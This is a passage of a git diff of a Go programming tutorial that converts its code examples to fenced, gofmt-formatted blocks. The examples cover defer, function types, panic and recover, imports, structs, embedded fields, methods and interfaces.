file.Open("file") // Do some work - if failureX { - file.Close() - return false - } - - if failureY { - file.Close() - return false - } - - file.Close() - return true + if failureX { + file.Close() + return false } - + + if failureY { + file.Close() + return false + } + + file.Close() + return true +} +``` We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable. - - func ReadWrite() bool { - file.Open("file") - defer file.Close() - if failureX { - return false - } - if failureY { - return false - } - return true +```Go +func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false } - + if failureY { + return false + } + return true +} +``` If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`. - +```Go for i := 0; i < 5; i++ { defer fmt.Printf("%d ", i) } - +``` ### Functions as values and types Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type. - +```Go type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) - +``` What's the advantage of this feature? The answer is that it allows us to pass functions as values. +```Go +package main - package main - import "fmt" +import "fmt" - type testInt func(int) bool // define a function type of variable +type testInt func(int) bool // define a function type of variable - func isOdd(integer int) bool { - if integer%2 == 0 { - return false - } - return true +func isOdd(integer int) bool { + if integer%2 == 0 { + return false } + return true +} - func isEven(integer int) bool { - if integer%2 == 0 { - return true - } - return false +func isEven(integer int) bool { + if integer%2 == 0 { + return true } + return false +} - // pass the function `f` as an argument to another function +// pass the function `f` as an argument to another function - func filter(slice []int, f testInt) []int { - var result []int - for _, value := range slice { - if f(value) { - result = append(result, value) - } - } - return result +func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } } + return result +} - func main(){ - slice := []int {1, 2, 3, 4, 5, 7} - fmt.Println("slice = ", slice) - odd := filter(slice, isOdd) // use function as values - fmt.Println("Odd elements of slice are: ", odd) - even := filter(slice, isEven) - fmt.Println("Even elements of slice are: ", even) - } - +func main() { + slice := []int{1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) +} + +``` It's very useful when we use interfaces. As you can see `testInt` is a variable that has a function as type and the returned values and arguments of `filter` are the same as those of `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code. ### Panic and Recover @@ -429,7 +437,7 @@ Go doesn't have `try-catch` structure like Java does. Instead of throwing except `Recover` is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status. The following example shows how to use `panic`. - +```Go var user = os.Getenv("USER") func init() { @@ -437,9 +445,9 @@ The following example shows how to use `panic`. panic("no value for $USER") } } - +``` The following example shows how to check `panic`. - +```Go func throwsPanic(f func()) (b bool) { defer func() { if x := recover(); x != nil { @@ -449,7 +457,7 @@ The following example shows how to check `panic`. f() // if f causes panic, it will recover return } - +``` ### `main` function and `init` function Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package. @@ -465,15 +473,15 @@ Figure 2.6 Flow of programs initialization in Go ### import We use `import` very often in Go programs as follows. - +```Go import( "fmt" ) - +``` Then we use functions in that package as follows. - +```Go fmt.Println("hello world") - +``` `fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways. 1. Relative path @@ -485,28 +493,28 @@ There are some special operators when we import packages, and beginners are alwa 1. Dot operator. Sometime we see people use following way to import packages. - +```Go import( . "fmt" ) - +``` The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. 2. Alias operation. It changes the name of the package that we imported when we call functions that belong to that package. - +```Go import( f "fmt" ) - +``` Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. 3. `_` operator. This is the operator that is difficult to understand without someone explaining it to you. - +```Go import ( "database/sql" _ "github.com/ziutek/mymysql/godrv" ) - +``` The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if we want to use the functions belonging to that package. ## Links diff --git a/en/02.4.md b/en/02.4.md index d28a5358..07c6f3c3 100644 --- a/en/02.4.md +++ b/en/02.4.md @@ -3,12 +3,12 @@ ## struct We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`. - - type person struct { - name string - age int - } - +```Go +type person struct { + name string + age int +} +``` Look how easy it is to define a `struct`! There are two fields. @@ -17,75 +17,77 @@ There are two fields. - `age` is a `int` used to store a person's age. Let's see how to use it. +```Go +type person struct { + name string + age int +} - type person struct { - name string - age int - } - - var P person // p is person type - - P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p - P.age = 25 // assign 25 to field 'age' of p - fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p +var P person // p is person type +P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p +P.age = 25 // assign 25 to field 'age' of p +fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p +``` There are three more ways to define a struct. - Assign initial values by order - - P := person{"Tom", 25} - +```Go + P := person{"Tom", 25} +``` - Use the format `field:value` to initialize the struct without order - - P := person{age:24, name:"Bob"} - +```Go + P := person{age:24, name:"Bob"} +``` - Define an anonymous struct, then initialize it - - P := struct{name string; age int}{"Amy",18} - +```Go + P := struct{name string; age int}{"Amy",18} +``` Let's see a complete example. +```Go +package main - package main - import "fmt" +import "fmt" - // define a new type - type person struct { - name string - age int +// define a new type +type person struct { + name string + age int +} + +// compare the age of two people, then return the older person and differences of age +// struct is passed by value +func Older(p1, p2 person) (person, int) { + if p1.age > p2.age { + return p1, p1.age - p2.age } + return p2, p2.age - p1.age +} - // compare the age of two people, then return the older person and differences of age - // struct is passed by value - func Older(p1, p2 person) (person, int) { - if p1.age>p2.age { - return p1, p1.age-p2.age - } - return p2, p2.age-p1.age - } +func main() { + var tom person - func main() { - var tom person + // initialization + tom.name, tom.age = "Tom", 18 - // initialization - tom.name, tom.age = "Tom", 18 + // initialize two values by format "field:value" + bob := person{age: 25, name: "Bob"} - // initialize two values by format "field:value" - bob := person{age:25, name:"Bob"} + // initialize two values with order + paul := person{"Paul", 43} - // initialize two values with order - paul := person{"Paul", 43} + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) - tb_Older, tb_diff := Older(tom, bob) - tp_Older, tp_diff := Older(tom, paul) - bp_Older, bp_diff := Older(bob, paul) + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) - fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) - fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) +} - fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) - } - +``` ### embedded fields in struct I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields. @@ -93,120 +95,126 @@ I've just introduced to you how to define a struct with field names and type. In When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embdedded. Let's see one example. +```Go +package main - package main - import "fmt" +import "fmt" - type Human struct { - name string - age int - weight int - } +type Human struct { + name string + age int + weight int +} - type Student struct { - Human // embedded field, it means Student struct includes all fields that Human has. - specialty string - } +type Student struct { + Human // embedded field, it means Student struct includes all fields that Human has. + specialty string +} - func main() { - // initialize a student - mark := Student{Human{"Mark", 25, 120}, "Computer Science"} +func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} - // access fields - fmt.Println("His name is ", mark.name) - fmt.Println("His age is ", mark.age) - fmt.Println("His weight is ", mark.weight) - fmt.Println("His specialty is ", mark.specialty) - // modify notes - mark.specialty = "AI" - fmt.Println("Mark changed his specialty") - fmt.Println("His specialty is ", mark.specialty) - // modify age - fmt.Println("Mark become old") - mark.age = 46 - fmt.Println("His age is", mark.age) - // modify weight - fmt.Println("Mark is not an athlet anymore") - mark.weight += 60 - fmt.Println("His weight is", mark.weight) - } - + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His specialty is ", mark.specialty) + // modify notes + mark.specialty = "AI" + fmt.Println("Mark changed his specialty") + fmt.Println("His specialty is ", mark.specialty) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) +} + +``` ![](images/2.4.student_struct.png?raw=true) Figure 2.7 Embedding in Student and Human We see that we can access the `age` and `name` fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field! - +```Go mark.Human = Human{"Marcus", 55, 220} mark.Human.age -= 1 - +``` All the types in Go can be used as embedded fields. +```Go +package main - package main - import "fmt" +import "fmt" - type Skills []string +type Skills []string - type Human struct { - name string - age int - weight int - } +type Human struct { + name string + age int + weight int +} - type Student struct { - Human // struct as embedded field - Skills // string slice as embedded field - int // built-in type as embedded field - specialty string - } +type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + specialty string +} - func main() { - // initialize Student Jane - jane := Student{Human:Human{"Jane", 35, 100}, specialty:"Biology"} - // access fields - fmt.Println("Her name is ", jane.name) - fmt.Println("Her age is ", jane.age) - fmt.Println("Her weight is ", jane.weight) - fmt.Println("Her specialty is ", jane.specialty) - // modify value of skill field - jane.Skills = []string{"anatomy"} - fmt.Println("Her skills are ", jane.Skills) - fmt.Println("She acquired two new ones ") - jane.Skills = append(jane.Skills, "physics", "golang") - fmt.Println("Her skills now are ", jane.Skills) - // modify embedded field - jane.int = 3 - fmt.Println("Her preferred number is ", jane.int) - } - +func main() { + // initialize Student Jane + jane := Student{Human: Human{"Jane", 35, 100}, specialty: "Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her specialty is ", jane.specialty) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is ", jane.int) +} + +``` In the above example, we can see that all types can be embedded fields and we can use functions to operate on them. There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do? Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing. +```Go +package main - package main - import "fmt" +import "fmt" - type Human struct { - name string - age int - phone string // Human has phone field - } +type Human struct { + name string + age int + phone string // Human has phone field +} - type Employee struct { - Human // embedded field Human - specialty string - phone string // phone in employee - } +type Employee struct { + Human // embedded field Human + specialty string + phone string // phone in employee +} - func main() { - Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} - fmt.Println("Bob's work phone is:", Bob.phone) - // access phone field in Human - fmt.Println("Bob's personal phone is:", Bob.Human.phone) - } - +func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) +} + +``` ## Links - [Directory](preface.md) diff --git a/en/02.5.md b/en/02.5.md index 38acb66b..32b92927 100644 --- a/en/02.5.md +++ b/en/02.5.md @@ -5,25 +5,27 @@ We talked about functions and structs in the last two sections, but did you ever ## method Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal. +```Go +package main - package main - import "fmt" +import "fmt" - type Rectangle struct { - width, height float64 - } +type Rectangle struct { + width, height float64 +} - func area(r Rectangle) float64 { - return r.width*r.height - } +func area(r Rectangle) float64 { + return r.width * r.height +} - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - fmt.Println("Area of r1 is: ", area(r1)) - fmt.Println("Area of r2 is: ", area(r2)) - } - +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) +} + +``` The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. @@ -43,45 +45,47 @@ As Rob Pike said. "A method is a function with an implicit first argument, called a receiver." Syntax of method. - - func (r ReceiverType) funcName(parameters) (results) - +```Go +func (r ReceiverType) funcName(parameters) (results) +``` Let's change our example using `method` instead. +```Go +package main - package main - import ( - "fmt" - "math" - ) +import ( + "fmt" + "math" +) - type Rectangle struct { - width, height float64 - } +type Rectangle struct { + width, height float64 +} - type Circle struct { - radius float64 - } +type Circle struct { + radius float64 +} - func (r Rectangle) area() float64 { - return r.width*r.height - } +func (r Rectangle) area() float64 { + return r.width * r.height +} - func (c Circle) area() float64 { - return c.radius * c.radius * math.Pi - } +func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi +} - func main() { - r1 := Rectangle{12, 2} - r2 := Rectangle{9, 4} - c1 := Circle{10} - c2 := Circle{25} +func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} - fmt.Println("Area of r1 is: ", r1.area()) - fmt.Println("Area of r2 is: ", r2.area()) - fmt.Println("Area of c1 is: ", c1.area()) - fmt.Println("Area of c2 is: ", c2.area()) - } - + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) +} + +``` Notes for using methods. - If the name of methods are the same but they don't share the same receivers, they are not the same. @@ -99,103 +103,105 @@ One thing that's worth noting is that the method with a dotted line means the re Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types. Use the following format to define a customized type. - - type typeName typeLiteral - +```Go +type typeName typeLiteral +``` Examples of customized types: +```Go +type ages int - type ages int +type money float32 - type money float32 +type months map[string]int - type months map[string]int - - m := months { - "January":31, - "February":28, - ... - "December":31, - } - +m := months { + "January":31, + "February":28, + ... + "December":31, +} +``` I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. Let's get back to talking about `method`. You can use as many methods in custom types as you want. +```Go +package main - package main - import "fmt" +import "fmt" - const( - WHITE = iota - BLACK - BLUE - RED - YELLOW - ) +const ( + WHITE = iota + BLACK + BLUE + RED + YELLOW +) - type Color byte +type Color byte - type Box struct { - width, height, depth float64 - color Color +type Box struct { + width, height, depth float64 + color Color +} + +type BoxList []Box //a slice of boxes + +func (b Box) Volume() float64 { + return b.width * b.height * b.depth +} + +func (b *Box) SetColor(c Color) { + b.color = c +} + +func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k +} + +func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } +} + +func (c Color) String() string { + strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] +} + +func main() { + boxes := BoxList{ + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, } - type BoxList []Box //a slice of boxes + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - func (b Box) Volume() float64 { - return b.width * b.height * b.depth - } + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) - func (b *Box) SetColor(c Color) { - b.color = c - } + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) +} - func (bl BoxList) BiggestsColor() Color { - v := 0.00 - k := Color(WHITE) - for _, b := range bl { - if b.Volume() > v { - v = b.Volume() - k = b.color - } - } - return k - } - - func (bl BoxList) PaintItBlack() { - for i, _ := range bl { - bl[i].SetColor(BLACK) - } - } - - func (c Color) String() string { - strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} - return strings[c] - } - - func main() { - boxes := BoxList { - Box{4, 4, 4, RED}, - Box{10, 10, 1, YELLOW}, - Box{1, 1, 20, BLACK}, - Box{10, 10, 1, BLUE}, - Box{10, 30, 1, WHITE}, - Box{20, 20, 20, YELLOW}, - } - - fmt.Printf("We have %d boxes in our set\n", len(boxes)) - fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") - fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) - fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - - fmt.Println("Let's paint them all black") - boxes.PaintItBlack() - fmt.Println("The color of the second one is", boxes[1].color.String()) - - fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) - } - +``` We define some constants and customized types. - Use `Color` as alias of `byte`. @@ -225,79 +231,83 @@ You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `Pain ### Inheritance of method We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well. +```Go +package main - package main - import "fmt" +import "fmt" - type Human struct { - name string - age int - phone string - } +type Human struct { + name string + age int + phone string +} - type Student struct { - Human // anonymous field - school string - } +type Student struct { + Human // anonymous field + school string +} - type Employee struct { - Human - company string - } +type Employee struct { + Human + company string +} - // define a method in Human - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } +// define a method in Human +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - mark.SayHi() - sam.SayHi() - } + mark.SayHi() + sam.SayHi() +} +``` ### Method overload If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it. +```Go +package main - package main - import "fmt" +import "fmt" - type Human struct { - name string - age int - phone string - } +type Human struct { + name string + age int + phone string +} - type Student struct { - Human - school string - } +type Student struct { + Human + school string +} - type Employee struct { - Human - company string - } +type Employee struct { + Human + company string +} - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} - func main() { - mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} - sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} +func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} - mark.SayHi() - sam.SayHi() - } - + mark.SayHi() + sam.SayHi() +} + +``` You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well. ## Links diff --git a/en/02.6.md b/en/02.6.md index 8b2c724b..f1313bf8 100644 --- a/en/02.6.md +++ b/en/02.6.md @@ -14,75 +14,77 @@ Let's do some more work. We'll add one more method `Sing()` to them, along with Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. -This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. +This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `BorrowMoney()`, and Student doesn't implement the interface: `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. ### Type of Interface An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. +```Go - type Human struct { - name string - age int - phone string - } +type Human struct { + name string + age int + phone string +} - type Student struct { - Human - school string - loan float32 - } +type Student struct { + Human + school string + loan float32 +} - type Employee struct { - Human - company string - money float32 - } +type Employee struct { + Human + company string + money float32 +} - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } +func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} - func (h *Human) Sing(lyrics string) { - fmt.Println("La la, la la la, la la la la la...", lyrics) - } +func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) +} - func (h *Human) Guzzle(beerStein string) { - fmt.Println("Guzzle Guzzle Guzzle...", beerStein) - } +func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) +} - // Employee overloads Sayhi - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } +// Employee overloads Sayhi +func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} - func (s *Student) BorrowMoney(amount float32) { - s.loan += amount // (again and again and...) - } +func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) +} - func (e *Employee) SpendSalary(amount float32) { - e.money -= amount // More vodka please!!! Get me through the day! - } +func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! +} - // define interface - type Men interface { - SayHi() - Sing(lyrics string) - Guzzle(beerStein string) - } +// define interface +type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) +} - type YoungChap interface { - SayHi() - Sing(song string) - BorrowMoney(amount float32) - } +type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) +} - type ElderlyGent interface { - SayHi() - Sing(song string) - SpendSalary(amount float32) - } +type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) +} +``` We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default. @@ -92,87 +94,87 @@ Note that any type implements the empty interface `interface{}` because it doesn So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. +```Go +package main - package main - - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human - school string - loan float32 - } - - type Employee struct { - Human - company string - money float32 - } - - func (h Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - func (h Human) Sing(lyrics string) { - fmt.Println("La la la la...", lyrics) - } - - func (e Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //Yes you can split into 2 lines here. - } - - // Interface Men implemented by Human, Student and Employee - type Men interface { - SayHi() - Sing(lyrics string) - } - - func main() { - mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} - paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} - sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} - tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} - - // define interface i - var i Men - - //i can store Student - i = mike - fmt.Println("This is Mike, a Student:") - i.SayHi() - i.Sing("November rain") - - //i can store Employee - i = tom - fmt.Println("This is Tom, an Employee:") - i.SayHi() - i.Sing("Born to be wild") - - // slice of Men - fmt.Println("Let's use a slice of Men and see what happens") - x := make([]Men, 3) - // these three elements are different types but they all implemented interface Men - x[0], x[1], x[2] = paul, sam, mike - - for _, value := range x { - value.SayHi() - } - } +import "fmt" +type Human struct { + name string + age int + phone string +} + +type Student struct { + Human + school string + loan float32 +} + +type Employee struct { + Human + company string + money float32 +} + +func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) +} + +func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) +} + +func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. +} + +// Interface Men implemented by Human, Student and Employee +type Men interface { + SayHi() + Sing(lyrics string) +} + +func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x { + value.SayHi() + } +} +``` An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. ### Empty interface An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. - +```Go // define a as empty interface var a interface{} var i int = 5 @@ -180,7 +182,7 @@ An empty interface is an interface that doesn't contain any methods, so all type // a can store value of any type a = i a = s - +``` If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type. ### Method arguments of an interface @@ -188,42 +190,42 @@ If a function uses an empty interface as its argument type, it can accept any ty Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition. - - type Stringer interface { - String() string - } - +```Go +type Stringer interface { + String() string +} +``` This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. +```Go +package main - package main +import ( + "fmt" + "strconv" +) - import ( - "fmt" - "strconv" - ) +type Human struct { + name string + age int + phone string +} - type Human struct { - name string - age int - phone string - } +// Human implemented fmt.Stringer +func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone +} - // Human implemented fmt.Stringer - func (h Human) String() string { - return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone - } +func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) +} - func main() { - Bob := Human{"Bob", 39, "000-7777-XXX"} - fmt.Println("This Human is : ", Bob) - } - - +``` Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. - +```Go fmt.Println("The biggest one is", boxes.BiggestsColor().String()) fmt.Println("The biggest one is", boxes.BiggestsColor()) - +``` Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. ### Type of variable in an interface @@ -237,90 +239,92 @@ Go has the syntax `value, ok := element.(T)`. This checks to see if the variable If the element is the type that we expect, ok will be true, false otherwise. Let's use an example to see more clearly. +```Go +package main - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List []Element - - type Person struct { - name string - age int - } - - func (p Person) String() string { - return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" - } - - func main() { - list := make(List, 3) - list[0] = 1 // an int - list[1] = "Hello" // a string - list[2] = Person{"Dennis", 70} - - for index, element := range list { - if value, ok := element.(int); ok { - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - } else if value, ok := element.(string); ok { - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - } else if value, ok := element.(Person); ok { - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - } else { - fmt.Printf("list[%d] is of a different type\n", index) - } +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func 